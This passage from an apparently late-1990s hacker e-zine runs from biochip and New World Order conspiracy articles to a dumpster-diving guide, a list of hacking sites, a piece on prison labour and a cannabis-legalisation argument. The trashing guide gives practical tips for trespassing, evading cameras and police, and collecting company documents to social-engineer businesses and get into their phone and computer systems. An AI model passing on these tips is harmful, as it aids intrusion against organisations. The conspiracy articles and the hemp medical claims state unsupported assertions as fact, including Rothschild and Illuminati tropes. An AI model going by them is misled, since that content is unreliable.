(excuses) that Big Brother is publicly whirling +around to people that are standing up against the implanted biochip +transponders. The loudest one that Big Brother yells is well used "stop crime +at the cost of all civil rights and liberties" propaganda. That includes +convicted criminals, and suspects that are awaiting trial, and get bail. Big +Brother would love to place a permanent biochip transponder into that person, +the excuse being "they might jump bail". (Even if the suspect is released +because he is innocent, he must live a life sentence under the unending +surveillance of Big Brother.) Other recommended implant victims are the +disabled (mentally and physically), poor people ("they might defraud the welfare +system"), Altzheimers patients, and "dissidents" that stand against Big Brother. + +Big Brother knows how to dupe people. Step by step, Big Brother introduces new +technologies that make it easier for him to track people's financial and +physical movements. These days credit and debit cards are more popular than +ever. In the November 1997 issue #3 of the Damage, INC. Newsletter, Shatazar +wrote an article on smart cards. That is another, more intrusive step. A step +after financial smart cards, are all-in-one cards that contain not only +financial data, but all civic data as well (driver's licence, tax information, +health information/history, etc.) There has been discussion in the United +States regarding a National ID card. Once that is implemented by Big Brother, +people will lose their cards, and be screwed because of it. As in Revelation +13, they won't be able to buy or sell. Big Brother will suggest a solution to +lost or (intentionally?) damaged "smart" all-in-one cards by offering biochip +implants. Big Brother will spew out so much propaganda, that the sheep will be +lining up to be branded with the mark of Big Brother (the Beast?). + +What would happen if he commanded all hospitals and birthing centres to inject +new born babies with the biochip transponder? It is impossible for the parents +to protect their newborn when he/she is removed from the birthing room almost +after birth. What would happen if there was a mandatory inoculation, but the +injection is some saline solution and Big Bro's tracking chip? Once Big Brother +acts, a full generation will be tracked from birth until death. Every moment of +life can be documented and examined. It is easily within Big Brother's +resources to do this. All he is waiting for is the mindless cattle to line up +to be branded. Is that what you want? To live knowing that Big Brother is +watching, and will severely punish you if you do something that is "politically +incorrect" or "illegal"? If you go with the grain, and tolerate Big Brother's +actions of oppression, say "MOOOOO". :( + +--- Written by THC Phreak. --- + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Tips on Dumpster Diving and Trashing: + +This is the incomplete guide to trashing for NNNs (novices, neophytes and +newbies). Hey, I just invented a new abbreviation! :) This article will +cover the basics that you'll need to know. It's more like an overview, a +beginner's guide or "Trashing 101". I've divided it into the following +sections: + +Section 1. How to avoid getting noticed and caught trashing. +Section 2. Where the good dumpsters can usually be found. +Section 3. What things to search for that are worth keeping. + + +Section 1: How to avoid getting noticed and caught trashing. +--------- ------------------------------------------------- + +Have you ever seen those big steel dumpsters outside of large buildings before? +They're usually at the back or along the side and usually have something like +"BFI" (on the blue dumpsters written in white lettering) or "Big Bear" (on the +brown dumpsters, sometimes with their little bear logo on it). They're fairly +easy to spot and find at places, due to their size. You should go trashing at +night, and make sure you look around for cameras first at the location. Also, +it's a good idea to use a very small flashlight (such as a pen light) that's +discreet and can be concealed in your pocket easily if needed. Plus, don't +bring along a large group of people. It's too conspicuous and only increases +your chances of being noticed by someone like a cop or security guard. If you +do go trashing in a group, don't talk too loudly or make a lot of noise while +sorting through junk. Take a shopping cart along, and fill it with cardboard, +junk from the first dumpster, bottles, cans, old clothing etc. Wear some really +old, dirty, torn up, ripped clothes (as in, jeans and a t-shirt) and try to look +like you're a homeless street person. Most people will avoid you and cops +probably won't harass you if they assume you're just collecting bottles and +cans. ;) Make sure you have a car parked nearby in case you need to make a +quick getaway. Just don't park it right beside the dumpster or anything, since +that'd expose your license plate number. The vehicle should be within running +distance on a route that won't take you through well lit areas. You may want to +carry some garbage bags filled with receipts, documents, binders, manuals or +discarded computer hardware back to the car, and it'd look very obvious if you +were running a long distance with your arms filled with things like that. So, +place them into a backpack or use the shopping cart. Hide it underneath +cardboard and garbage bags. A better way is to have someone drop you off, park +and wait in the car at a secluded location and return later at the appointed +time to pick you up. It's less suspicious that way and you won't have to walk +around on the streets pushing a grocery cart filled with whatever you acquired +in your trashing treasure hunt. ;) + +You should also do some research first. It'll benefit you tremendously later +on if you find out if the intended target dumpsters are monitored by cameras, +security guards etc. Find out when the businesses are closed and go there +during the hours that nobody else will be around. To make your expedition safe +and phun, sort through the trash somewhere private (like inside of a garage) +instead of at the actual site. If someone on the street (like an ordinary +citizen) asks you what you're doing, just reply "I'm collecting and recycling +what big businesses throw away." then cough, spit and smile at them. They'll +probably be happy to hear that reason and shouldn't bother you after that. +Never try to explain what you're really doing. If the lamer persists, act like +you're an insane, deranged madman by talking to yourself and looking around +wildly for no apparent reason. That'll get rid of the nosy bastard for sure. +Just don't get spoofed by any questions that they may ask. If you're too +paranoid about getting caught, chances are you will forget to take the necessary +steps, precautions and plan everything out carefully. Therefore, you shouldn't +even attempt to go trashing as you'll only end up frozen like a deer staring +into the bright light of a cop's flashlight. Fear and paranoia can be your +worst enemies... especially in relation to stealthful trashing. + + +Section 2: Where the good dumpsters can usually be found. +--------- --------------------------------------------- + +At this point, you should know what a dumpster looks like and have some ideas +on how to avoid getting detected and caught trashing. But before you dive in, +you'll need to know where to find the "good dumpsters". That is, the ones +that will provide you with some useful information, hardware or anything else +that's interesting for that matter. I'll give you a few locations to start +dumpster diving at, but it's up to you to do some research and look around. +If you're observant and keep your eyes open, you can find out many things +such as when the garbage is picked up at local businesses (in medium/large +cities it's usually scheduled), what information they have and what type of +stuff they throw out. This information is crucial to know as you don't want +to spend hours trashing and return with nothing. There's absolutely nothing +worse than time that's been wasted for no reason other than ignorance. So, +become informed about the targets, narrow down your search to specific things +that you want and pick a few victim dumpsters. Once you've done that and +chosen some sites, plan and map everything out so that your first night of +trashing goes as smoothly as possible. + +So, where are these "good dumpsters" located? The first place to check out +is your local CO (Central Office). Even though it should be obvious what +type of material can be found there, it will still be explained in the next +section. Some other good places to go trashing are at computer stores, stereo +shops, large office buildings (especially for PBX information, employee lists +and anything else that can be used for h/p or social engineering purposes), +retail stores/outlets, gas stations, banks, car dealerships, cellular phone +retailers, and malls etc. Stay away from the food court (fast food) dumpsters +though, unless you want to wear gloves and be up to your waist in greasy shit. +They're too messy and usually don't yield anything that's useful. + +Just watch out for security guards, cameras, and cops patrolling the parking +lots, alleys etc. This especially applies to banks, large stores, telco COs, +and of course malls. Some large office buildings might have their own security +hired to patrol at night as well. So, do a little research first and be +careful about who's around and watching. Scouting the location during the +day and looking for hidden cameras outside (mounted on light stands, the actual +building, above doors etc.) is always a wise move. + + +Section 3: What things to search for that are worth keeping. +--------- ------------------------------------------------ + +It all depends upon what you want. If you want telco documents, manuals, +notebooks, binders, trashed/broken equipment, reports, printouts, and perhaps +some lists (consisting of acronyms, employees, codes, numbers etc.) + +I'm not going to tell you where to look for lists of CC #s. If you want to +find and use them, then you're on your own. This article isn't meant for +K0d3z Kidz. ;) + +If you want computer hardware, then try finding some dumpsters that are behind +computer stores or large retail stores that sell all types of electronics +equipment. Sometimes the larger office buildings throw away old monitors, +motherboards, cases, hard drives etc. too. + +If you want computer software, then don't bother dumpster diving to look for +it. Call a local warez board, ask a warez pup or check out some warez ftp +sites if you want to be a warez d00d. ;) + +Look for anything else that you think *might* prove to be useful. That includes +information that you can later use to social engineer a business, gain access +to their systems, use their PBX, VMB etc. Just use your imagination and common +sense to determine what is worth keeping and what isn't. + +In conclusion, I hope the tips and techniques discussed will be beneficial +to our readers. If you do get caught trashing, the most that'll probably +happen is them charging you with trespassing. So, it's only a minor offense. +Don't bring any illegal weapons, burglary tools etc. with you, or you could be +charged with a major offense. You should avoid carrying any ID with you in +case something happens. Also, despite what I've written you still might be +surprised at what you can find in the trash. ;) Here's a little trashing +humour. Enjoy... + +Other names for Trashing: + +"Dumpster Diving, Trashcan jumping, Digging for Docs, Sliming, Recycling, + Antiquing, Salvaging, Collecting, Scavenging, Impersonating the homeless." + +Dumpster Dive rating scale: + +1/10 - You fall into the dumpster by accident, break your neck and drown while + face down in over 100 gallons of slime and rotting vegetables. To say + the least nobody is impressed, not even the coroner. +2/10 - You're thrown into a dumpster with a garbage bag tied over your head and + suffocate to death. Your body isn't found. The landfill/dump becomes + your final resting place. +3/10 - You jump into a dumpster and then realize it's filled with disgusting, + stinking, decomposing fast food. The horrible stench makes you sick + and you puke enough to fill a garbage bag, although most of it lands + on your shoes. If that weren't bad enough, a small fire is started in + the dumpster by some old lighters. Luckily you avoid getting burned. + Then a cop arrives on the scene. He charges you with arson and + trespassing to add insult to injury. You feel extremely foolish. +4/10 - A friend challenges you to leap into a dumpster from the roof of a + building. You stupidly oblige and break both of your legs when you + land. You cry out in pain and ask for help. Then you realize that the + dumpster contained some old batteries. Some of them were crushed and + broken open by your "leap of faith" and the battery acid was splashed + on your clothes. It's starting to dissolve your jeans and sting your + legs. Your friend helps you out and takes you to the hospital and they + ask "What the hell happened to you?" You make up a lame story in an + attempt to explain your injuries. You're embarrassed and feel like a + complete idiot. Other patients in the emergency room mock and laugh + at you. +5/10 - You dive in head first and sink to the bottom of the dumpster. Other + people witness it and laugh at your "dumpster headstand". Your friends + never let you forget about the now infamous "drunken faceplant into a + half empty dumpster incident." You're humiliated for life. +6/10 - You climb in expertly. However, as you're digging around inside of the + dumpster the lid slams closed on your head with a thud. Then someone + that's walking down the alley locks it shut with a padlock. ;) +7/10 - You step into the dumpster like a pro. You find some useful "trash" + sitting right on the top. Everything is going great until you notice + your shoes are soaked. The soaker ruins your new $150 pair of shoes + that you shouldn't have been wearing out trashing in the first place. +8/10 - You show off by doing a backflip into the dumpster. Everyone that's + with you is impressed by your athletic ability and finesse. However, + your car keys fall out and it takes you 30 minutes looking through + trash to find them in. Eventually, you find the keys sitting on top + of a fairly new telco manual with lists and other documents beside it. +9/10 - You pick a great night to go trashing. You find a dumpster that's + filled with clean documents, manuals, notebooks etc. and dive right + in. You look down at the papers and at your feet is the very list that + you were just saying to your friends that you wanted to have. +10/10 - You find the "perfect dumpster", dive in, and within ten minutes you + have managed to collect and gather together everything that you were + looking for... including valuable hardware and telco information that + is very difficult to acquire. Overall, it's the perfect dumpster dive. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BREAKER'S REVIEWS - {REVIEWS} +Breaker's Web Site Reviews: + +This is a list of Good H/P or security related web sites. I'll try to +check these and keep them updated and free of 404's. + +www.rhino9.org +A good site on NT hacking and security. Features Ogre (an NT security +tool), the Modern Hacker's Desk Reference (a huge security/hacking faq), +advisories, texts, tools. + +www.technotronic.com +Another good security/hacking site affiliated with Rhino9. They have +tools and text on Novell, Microsoft Products, *nix, a hacked web site +archive that picks up where hacked.net left off, and a pretty good www +based BBS. + +www.showdown.org +A pretty good site that has a huge amount of exploits sorted by OS. +They also have a large amount of text file and a Defcon VI ride sharing +page. + +www.r00t.org +These guys are not normal. A good hacking group with non traditional +advisories, images, etc. You have to check it out to believe it. + +www.defcon.org +A site dedicated to the biggest H/P con held annually in Las Vegas. This +site contains con invites and information. It also has a good H/P and +security links page. The site has information on the Defcon mailing +list and voice bridge that has been going strong for years. + +www.rootshell.com +One of the best places on the net for exploits. They even have a search +engine. The site also feature technical papers and articles. (There Be +Dragons..) + +www.jya.com/crypto +Cryptome. A good site for up to date information on cryptography and +general computer security. Updated daily. + +www.datasync.com/~sotmesc/sotmesc.html Spur of the Moment Elite Social +Club. Former BBS turned web site. A good collection of H/P links and +information. This site features mailing lists, WWWBoards, and a hardcopy +zine. + +www.dope.org +Domain set up by Illinois hackers. Check out the entire site featuring +the Pimp Zine and Apocalypse 2000 BBS page. The users pages fringe, +insane linemane, etc. contain H/P and security information that each +user is interested in. + +www.legions.org Legions of the Underground +Site dedicated to L.O.U. members. Contains exploits, utils, texts, a +WWWBoard, and a mailing list. Includes a new H/P zine Keen Veracity. + +www.lithiumnode.com +The original AOL hackers. Not everyone on AOL is lame. These guys are +not the traditional AOL proggie kids. They don't have punters or IM +bombers. These guys actually hack the content and security areas of +AOL. They have screen shots of their hacks and links to other Anti-AOL +groups and hackers. + +www.dis.org/se7en +Se7en is a former hacker turned security expert who still keeps roots in +the scene. His site is constantly changing. He often puts up good web +site hack mirrors, informative text and RFC's. He also houses the h4x0r +Br0th3rz zine (A hilarious H/P parody zine that pisses a lot of people +off). + +www.warforge.com +An IRC hackers dream. This site has tons of Windows based IRC war +programs and patches. The site also list programs that don't work or +contain viruses or trojans. There is also a WWWBoard to discuss new +programs and attacks. + +Ok, thats it for now. I'll put out another list of good H/P and +security web sites soon. If you have any good H/P sites you think are +worthy of being included in the list email me on FOI or AJFA and they'll +go in the next list. + +Future Reviews: + +More H/P sites +WWWBoards +Exploit Archives +International H/P Sites +H/P Cons + +Other Possible Reviews: + +IRC channels (Not my specialty, but if someone else would like to volunteer..) +FTP sites +Mailing lists +BBS's etc. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +NWO Part 1: Basic Introduction. + +What is the New World Order (NWO)? Is it more than a meaningless phrase that +George Bush said during the Persian Gulf War? Or is it something more? Well, +I'm telling you that it is much more than the name of a group of WCW wrestlers. +;-) Seriously though, if you haven't had the ambition or opportunity to learn +about the New World Order, you do not know about the greatest conspiracy that +threatens our freedom. In this article, it is my intention to give those of you +enough information about the NWO so that you are no longer totally in the dark. +I feel that it is critically important that everyone learns what is happening +now... so that we aren't caught by surprise by our enemies. If you have already +researched the NWO topic, you may want to skip this article now, and read it +after you have enjoyed the rest of the Damage, INC. Newsletter. :-) + +The first question you could be thinking right now is what is the New World +Order? The New World Order is the restructuring of the political, economic, and +social structures of the world towards a one world government. This world +government will have control over all countries, and membership in the NWO will +be mandatory. The world government will only serve the interests of a small +group of extremely rich and powerful people that are members of elite globalist +groups. The rest of us will be used for labour. + +There are quite a few groups that are very secretly working towards one world +government that they intend pull the strings of. Below I will list various +groups and give you basic information on each. The members of these groups are +extremely rich, and influential in their own fields. When they meet, they do so +to shape the world for their own benefit. And what benefits them the most is to +find ways to control us. + +Illuminati: The Illuminati was formed in the 1700s (I saw the date May 1, 1776 +in several articles I've read, but obviously I can't confirm it) by German +professor Adam Weishaupt. Modern day conspiracy analysts believe the purpose of +this "secret society" was to fund each other in their conspiracies and plans for +world domination. Skeptics believe this group was formed by free thinkers +trying to make Europe into a more loving, tolerant place. I personally believe +it was the former. The current day Illuminati want to make the world a better +place for themselves. The most powerful and noteworthy modern Illuminati are +powermongers like Rockefeller, Rothschild, Carnagie, and so on. + +Bilderberg: The first Bilderberg meeting was held during 1954 in the Bilderberg +Hotel in Oosterbeek, Holland. The delegates that attend the Bilderberg Meeting +are referred to as Bilderbergers. Bilderberg Members are from North America or +Europe. It is because of the Bilderberg that the groundwork for the European +Union was laid. Their goal, like the other groups is to weaken nationalism in +favour of a globalist system ruled by the elite. + +Council on Foreign Relations: The Council on Foreign Relations (CFR) was +founded in 1921 with the help of the Rockefellers. The CFR is an American +elitist organization that was modelled after the British Royal Institute on +International Affairs. Members are a who's who of the American elite. +Virtually all high ranking politicians are members, as well as the elite in +fields such as the media, bureaucracies, telecommunications, science, academics, +business and industry leaders, banking/high finance, oil/energy companies, and +the military. With such a collection of influential people, it is not +unreasonable to think that the CFR could act as the United States' secret +government. Its objective is the implementation of the New World Order. After +all, the CFR was the force behind the creation of the United Nations after World +War II. + +The Trilateral Commission: The Trilateral Commission was formed in 1973 by +David Rockefeller. Members of the Trilateral Commission live in one of three +world zones; North America, Western Europe, and Japan (Asia). The objective of +this group is to promote free movement of transnational currency by eliminating +the economic sovereignty of individual nations. Like the CFR, the Trilateral +Commission members' backgrounds are diverse. It is disturbing to note that +every U.S. President since Jimmy Carter is a member of the Trilateral +Commission. + +There are other NWO-driven groups and meeting places for the Illuminati, but +these are the believed to be the pulse of the New World Order. Again I mention +that the Illuminati, through subgroups like the CFR and the Trilateral +Commission have taken control of every important governmental post, and have +members and sympathizers in every critical corporate and academic position. +Now that I have given you a basic introduction to the globalist elite and their +groups involved in the New World Order, I will discuss some of their +philosophies, and what they have been doing to bring them into being. + +As I mentioned at the beginning of the article, the NWO a restructuring of the +political, economic, and social structures of the world. Obviously if you can +control all three structures, you control the world. That is what the elite +bastards have been doing for decades now. Even today, we are feeling the +effects of their work. + +Economic Restructuring + +I will begin with how the global elitists have changed the economic structure to +benefit their ultimate goal. The reason I begin here is because the changes are +extremely evident once they thought about and examined. Look at what has +changed since the beginning of this century. There has been many economic +unions and free trade agreements occurring all over the world. From GATT +(Global Agreement on Tariffs and Trade) to the European Community, to NAFTA, it +has all happened in the past 20 years. In this time, sovereign control over +trade has been changed to free trade under the international rules. There is no +doubt that the economic restructuring of the world economy and world trade +benefit elitist groups like the Trilateral Commission. + +It is sickening that a one world economic system is virtually in place. The +European Union has progressed to the point where the currency of member states +has been eliminated in favour of one supranational currency. In the Western +Hemisphere, North America already has a free trade agreement, and there are +plans to have a Free Trade Agreement of the Americas by the year 2005 at the +latest. There are also negotiations occurring in Asia and Oceania as they +attempt to hammer out a free trade agreement and economic union in that part of +the world. Don't be fooled by the collapse of Indonesia and other Asian +countries, that is of little consequence to the plans of the globalists. + +Not only do they earn unimaginable profits, but *they* have set the rules and +hold the power of the economic world order. Obviously, that's the whole point. +:-( They have the influence to create their own recessions and depressions. In +fact, some knowledgable researchers believe that the CFR, under the guidance of +the Rockefellers, Rothschilds, and others engineered the 1929 stock market +crash. + +Why would they do something like that? Economic restructuring. The depression +drove many nations, including the United States, into debt. And of course the +families I listed above gained control of the U.S. economy because they hold a +debt that the United States of America will not be able to repay. To quote +Mayer Amschel Rothschild, "Give me control over a nation's currency, and I care +not who makes its laws." He said these words in the early 1800s, before his +death in 1812. That should give you some idea as to how long the Illuminati +have been manipulating and restructuring economic systems for their own +purposes. + +Political Restructuring + +Because the economic structure of the world is dominated by the Illuminati, they +have tremendous influence over the political happenings within countries, +particularly "western" nations like the United States and Canada. The global +elite have been successful in creating a political organization to further +their goals to create a one world government that operates under their thumb. +I am referring to the United Nations. + +The United Nations is the result of the global elite taking advantage of a war +weary world after the end of World War II. Publicly touted as an organization +to "stop future wars", representatives from most nations met in San Francisco to +create a new world organization after the death of the League of Nations. This +conference began on April 26, 1945. On June 26, 1945, the conference ended with +the creation of the UN Charter. + +It was known from the very beginning what the global elite plans were. The +United Nations is to be the world government, above all other sovereign nations. +In fact, the Chicago Tribune had a sickening headline in their August 6, 1946 +issue. "Radicals, Rich Unite to Push World State; Fight Defenders of US +Sovereignty." There is other, more subtle evidence that the elite were a force +behind the creation of the United Nations. In 1950, it was the Rockefellers +that donated the land in New York where the UN Headquarters now stands. Greedy +globalists like the Rockefellers don't give prime real estate away unless they +plan on getting a payoff later on. + +The reason why the UN's predecessor, the League of Nations, failed was because +the United States Congress killed potential U.S. membership. This time, the +leaders of the NWO conspiracy decided that things would be different. The CFR, +as well as the CFR controlled U.S. State Department used propaganda and other +tactics to influence the U.S. Congress and the American people to embrace the +UN, even at the cost of control over their own affairs of state. + +Obviously, the CFR was successful. The United States joined the United Nations +when they signed the charter. At that moment, the globalists rejoiced. It +didn't take them long to test the power in the United Nations either. In 1950, +the UN decided that they would force member nations like the United States to +send their men and women to Korea for a "policing operation." American and +Canadian soldiers died wearing the uniform of the United Nations. You may also +have heard of a conflict in Vietnam. That conflict was escalated by the United +Nations. + +Over 50 years after the charter was signed, the United Nations is being +restructured. It is my personal prediction that early in the next millennium, +the UN will have more than just an assembly of representatives. It will be a +world assembly, complete with a world court. It will have the power to tax, to +create laws that all nations must obey, and more. Basically, the structure of +the UN will be similar to the structure the European Union operates under. The +only difference is that the UN will not have to respect the sovereignty of its +"member states." The UN itself will also have a military that will be under +their direct control. That includes a nuclear weapons arsenal. + +The UN is only a small portion of the political restructuring the global elite +have been accomplishing around the world. However, I decided to focus on the UN +because it is what the world government will be. In the next issue of the +Damage, INC. Newsletter, I will reveal to you some UN conspiracies, and how they +relate to the New World Order. + +Social Restructuring + +This is the most frightening part of the NWO because it affects all the people +that believe in "society" directly. After all, the leaders of the globalist +movement don't care about "society." "Society" to them is a flock of ignorant +sheep to be coddled or exploited, depending on the circumstances of their plans +at that particular moment. What angers me the most is that the globalists are +giving the zombies exactly what they want. Zombies don't want to think for +themselves... they want those that they view as intelligent and superior to do +the thinking for them. It is the apathetic attitude of the zombies in "society" +that has lead to what I believe to be the final steps in implementing the New +World Order I have described in this article. + +It is because the vast majority of citizens in the last few generations have +given their ownership of their sovereign nations to internationalist bankers, +and politicians (their allies). They have been able to easily restructure the +political and economic portions of almost all "western" nations, like the United +States, Canada, Europe, etc. What I am driving at is that those that are +forming the NWO have taken what the zombies (the majority) have given them, and +then proceeded to use that power against all of us. + +The social restructuring has been accepted time and time again. The NWO +conspirators put the screws to "society" by changing something, then the zombies +tolerate the change. Some changes could be the elimination of civil rights, +economic policy that cause massive unemployment, and so on. These changes only +benefit the elite, and entrench the NWO even further. + +As you learn more about the NWO, you should be extremely conscious that they +have been working on their plans for many years. There are plans that haven't +even been unleashed upon us yet, yet the groundwork was laid decades ago. I +plan on going into deeper detail in regards to the NWO social restructuring +plans/conspiracies that have, and possibly will occur in a future article. + +This article marks the beginning of a series about the NWO that will be in the +Damage, INC. Newsletter. If you haven't read anything about the New World Order +previously, I hope that this very basic introduction has helped you. I have +tried to keep it simple for you. There is a lot of information that I was +unable to include. Therefore, I encourage you to seek out as much information +and opinions regarding the New World Order as you possibly can. The Internet +contains a tremendous amount of different viewpoints, as well as NWO booklists. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Slave labour in America's prisons. + +It doesn't take a genius to realize that prisons are on of the booming +industries within North America. More and more government monies are being +"invested" into the prison system. It is interesting to know that the state of +California spends more money on prisons than it does on education. Most people +may think that prisons are a financial drain on governments... but that has +changed with the evolvement of prison industries. Prison industries have been +around for decades. In its crudest form, it is the infamous chain gangs that +remove trash and other debris from the ditches along highways. There is also a +stereotype of prisoners manufacturing road signs and licence plates in a +basement factory connected to the prison. In those days, prison industries like +that were only allowed to work like slaves for the benefit of the government. +However, in the modern era where the emotion of greed is paramount, and corrupt +practices are an effective end to those means, things have definitely changed +within prison industries. + +Especially in the United States, prison industries are expanding and evolving at +a ferocious rate. In an attempt to make prisons "more profitable," prison +industries are actually starting to undercut and eliminate private sector +manufacturing, driving companies and law-abiding taxpayers out of work. In +fact, some wardens are trying to influence corrupt, fat cat companies to use +domestic prison factories as a cheap source of labour, instead of foreign +(Asian, Mexican, etc.) labour. + +Prison industries usually comprise of the manufacturing of products such as +furniture, textiles, and other small products. For example, in Dane County, +Wisconsin at the Oakhill Correctional Institute there is a typical dank, +basement factory in which inmates work 40 hours a week manufacturing office +chairs and other furniture. In 1995, Badger State Industries, which runs the +prison industry within Wisconsin, made $1.2 million in profit. The average wage +for these inmates ranged from twenty cents to $1.50 per hour. Fifteen +percent of their gross wages was taken by the prison system in addition to +the profit made by the state of Wisconsin. At these horrid, unfair wage levels +private industry cannot compete as prison industries continue to expand. +Economic forecasts released by the Correctional Industries Association in the +United States predicts that 30 percent of America's inmates will produce +approximately $9 billion in sales by the year 2000. Nine billion dollars +that should have been used for the employment of the working class. Even worse +than that, cheaper goods and higher profit levels are earned by those greedy fat +cats that buy and sell these goods produced by this form of slave labour. + +Private corporations are rejoicing at the prospects of using (abusing) inmates +to manufacture cheap goods/supplies for their operations. In the state of +Oregon, which in 1995 passed a constitutional amendment which forces *all* state +inmates to work, have their enslaved work force in prison industries producing +uniforms for McDonald's, jeans for Kmart and JC Penney, and rocking ponies +(which sold for $80 in 1995) for the trendy Eddie Bauer stores. These +special orders from the above corporations are in addition to the staple +products like furniture, mattresses, computer circuit boards, etc. + +Manufacturing is a huge part of the prison industries and their incarcerated +slaves, but that is not all that inmates are doing. They are forced to do +clerical services as well. Inmates are plopped in front of a computer and are +expected to perform data entry, and other data processing tasks. Youth +offenders in California were "hired" by TWA. The youths' tasks included taking +credit card information from TWA customers, as well as other personal +information. Prison industries were embarrassed on quite a few occasions when +some youths used the credit information obtained from TWA customers for their +own purposes. It is unfortunate that innocent people suffered, and not TWA for +their decision to save a few bucks on the backs of their customers. + +There is currently only one force that has had some success in battling the +proliferation of prison industries. Labour unions. In 1992, Weastec +Corporation used Ohio inmates to manufacture parts for Honda. The inmates +earned 35 cents an hour from the state of Ohio. Meanwhile, the inmates' +slavemasters received $2.05 per hour from Weastec. The United Auto Workers +fought against this corrupt practice because it threatened "union jobs even more +than cheap parts imported under NAFTA," said UAW Region 2 Director Warren Davis. +The UAW received assistance from a Ohio State Representative, and several bills +were drafted to ban prisons from taking jobs away from private sector civilians. +Although the bill died in the Ohio Senate, Honda backed down due to negative +publicity, breathing a sigh of relief that no laws were past to stop their +depraved acts of greed in the future. + +Another corrupt practice the U.S. is engaging is that they are exporting the +prison made goods overseas. At the same time the United States bashed Communist +China for doing exactly the same thing. The U.S. Federal law (which is +obviously not enforced) which prohibits domestic commerce in prison made goods +unless inmates are paid "prevailing wage." However, to save greedy prison +operators from joining their slave workforce, the law conveniently exempts goods +produced for export. American prisoners working in prison factories are thought +of the same way as Chinese prisoners, and cheap, abused Asian and Mexican +labour. It is also sickening that the United States and Communist China use the +same excuse to justify making their prisoners work like slaves. To quote a +Chinese warden, "We want prisoners to learn a working skill." + +Working skills? They learn obsolete skills that are only useful in prison +industries because private sector manufacturing industries are being wiped out +by very low labour costs from within their own communities. All prison +industries prepares them for is to resume their slave labour when they are +convicted of a crime after release. How can it be any other way when there +are no jobs out there for them? Obviously, only the fat cats that run the +prisons (whether it is government or corporately operated) and those that +exploit the slave labour the inmates provide. + +Although the U.S. Government claims that their prisoners willingly volunteer, it +is clear that there is only one logical choice. If a prisoner chooses not to +`volunteer' to work in the prison industry, he is threatened. Punishments +include the loss of canteen privileges, and worse the inmate is considered to be +"behaving badly" so there will be no time off for good behaviour. In some +prisons, it has been reported that some men were put into solitary confinement +for refusing to become slaves within industrial prisons. + +What has been evolving within the United States is growing in other +industrialized nations as well. Prison industry gives them little third world +city-states in which prisoners are exploited for the benefit of extremely low +labour costs. As more and more prisons are built, more inmates will be forced +into slave labour, and more jobs in the private sector will be lost. That will +lead to greater unemployment within the working class, which will lead to more +people forced to perform criminal acts in order to survive. That will send more +people to prison. Prisons will fill up, and more prisons will need to be built. +This cycle is neverending. The only winners are the greedy manufacturers and +prison industry operators that take advantage of domestic slave labour. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +DRUGS DISCUSSION - {DRUGS} +A Case for Legalization: + +First, I want to dispel a few common myths. Hemp and Marijuana aren't the +same. The two plants may look similar to each other on the surface but they +are very different. The colour and shape of their leaves is misleading to some +people. There are also certain people that *want* you to be mislead and remain +misinformed. Damage, INC. wants you to become informed about this issue. Thus, +I've decided to start this article with some facts and information. + +You can smoke Hemp and you won't get high. The reason is that Hemp contains no +THC. Without THC, it's not a drug. That is what separates it from Marijuana. +Just because two things appear to be alike, doesn't mean that they are the same. +Always remember that. Also, Hemp is a very useful plant. It can be used to +make many products and certain companies have recently started to discover its +usefulness. For example, the luxury car maker Mercedes uses Hemp in the seats +of some of their cars now. Adidas produces running shoes made from Hemp. It +can be used in clothing, shoes, shampoo, foods like pizza etc. (Yes, Hemp seeds +are edible and quite tasty). That's not all though, it provides strong fibres +for ropes and industrial products. It can also be used to manufacture paper +products. The oil from Hemp seeds is also being used in various products. It's +been reported that there are over 25,000 products that can be made from +industrial hemp. The possible uses are almost endless for this amazing plant. +Yet, it was banned in Canada, The United States and many other countries about +six decades ago. The Journalist explained why in the last issue of the +Damage, INC. Newsletter. Only in the last year has it been permitted to grow +Hemp legally as a crop in the province of Ontario, Canada. Of course, the +Government is involved and it's strictly monitored and regulated by them. Was +Hemp ever farmed in the past? Yes, most definitely. It was farmed for +centuries in the United States. Some notable Hemp farmers of the past are +George Washington, Benjamin Franklin, and Thomas Jefferson. Those are some +prominent figures from American History that you should easily recognize. ;) + +Quotes: + +"Hemp is of first necessity to the wealth and protection of the country!" +- Thomas Jefferson + +"Make the most you can of the hemp seed and sow it everywhere." +- George Washington + +Medical Hemp can be used for the treatment of Cancer, AIDS, Asthma, Glaucoma, +Nausea Relief, Epilepsy, Emphysema Therapy, Migraines and many other illnesses. +Some doctors now prescribe it to their patients, legally and in many cases +illegally when it's necessary. Other seriously ill patients have fought to have +the right to smoke or ingest marijuana legally. In almost every case, they are +systematically denied the right to do so. Personally, I feel that anyone +that wants to use a plant such as cannabis should be allowed to, regardless of +what the government thinks. Our bodies are our own. The government should +stay out of it and quit trying to control us. It's unethical for them to +attempt to prevent sick people from using something that heals their illnesses +or is of comfort to them in my opinion. Therefore, they are wrong to interfere +and exert the "power of the law" to try to stop anything that has medicinal, +economic, ecological and energy saving purposes. Also, there hasn't been a +single recorded death attributed directly to the use of marijuana. That's the +*only* reason Big Brother can't scream and shout claiming "It kills you. We're +only trying to protect you." Look up the amount of deaths related to alcohol +and cigarettes sometime, yet both are legal and the government profits from the +taxes collected on those products. Now that some of the medical benefits of +hemp have been discussed, I'll give you some ecological statistics to read and +consider. + +hemp vs. cotton: + +Balance (Primary Energy input (PE) and emissions) for the life-cycle +cultivation and harvesting for hemp and cotton (ifeu-Institute in NOVA +1996). Data of 1 Mt hemp are compared with those of 1 Mt of cotton. + + PE CO2 N2O CO2 SO2 NO2 SO2 + Equiv. Equiv. + GJ kg kg kg kg kg kg + hemp 8,2 544 1,26 947 1,21 4,52 4,37 + cotton 25,2 1.680 3,03 2.650 2,49 14,8 12,9 + +Substituting cotton with hemp i.e. in the textile industry would lead to +significant ecological advantages. (Bocsa, Karus; 1998, Der Hanfanbau, p. +138) + +There are also economic and energy saving reasons that hemp should be grown +and utilized. We have finite resources, the environment is being destroyed by +fat cat industries, and in many countries there are food shortages due to +drought and improper farming practices. Hemp is a hearty plant with many +varieties that can grow in harsh climates. It's suitable for almost any type +of environment. The unharnessed potential that industrial hemp has is almost +unlimited. Many people, including some famous ones such as actor Woody +Harrelson have realized that already and have been organizing protests etc. to +further the cause, publicly state their views and demonstrate them. Of course, +the petroleum, pulp and paper industry and textile industry will forever fight +to make sure that hemp isn't legalized across North America. Why? Well, hemp +could 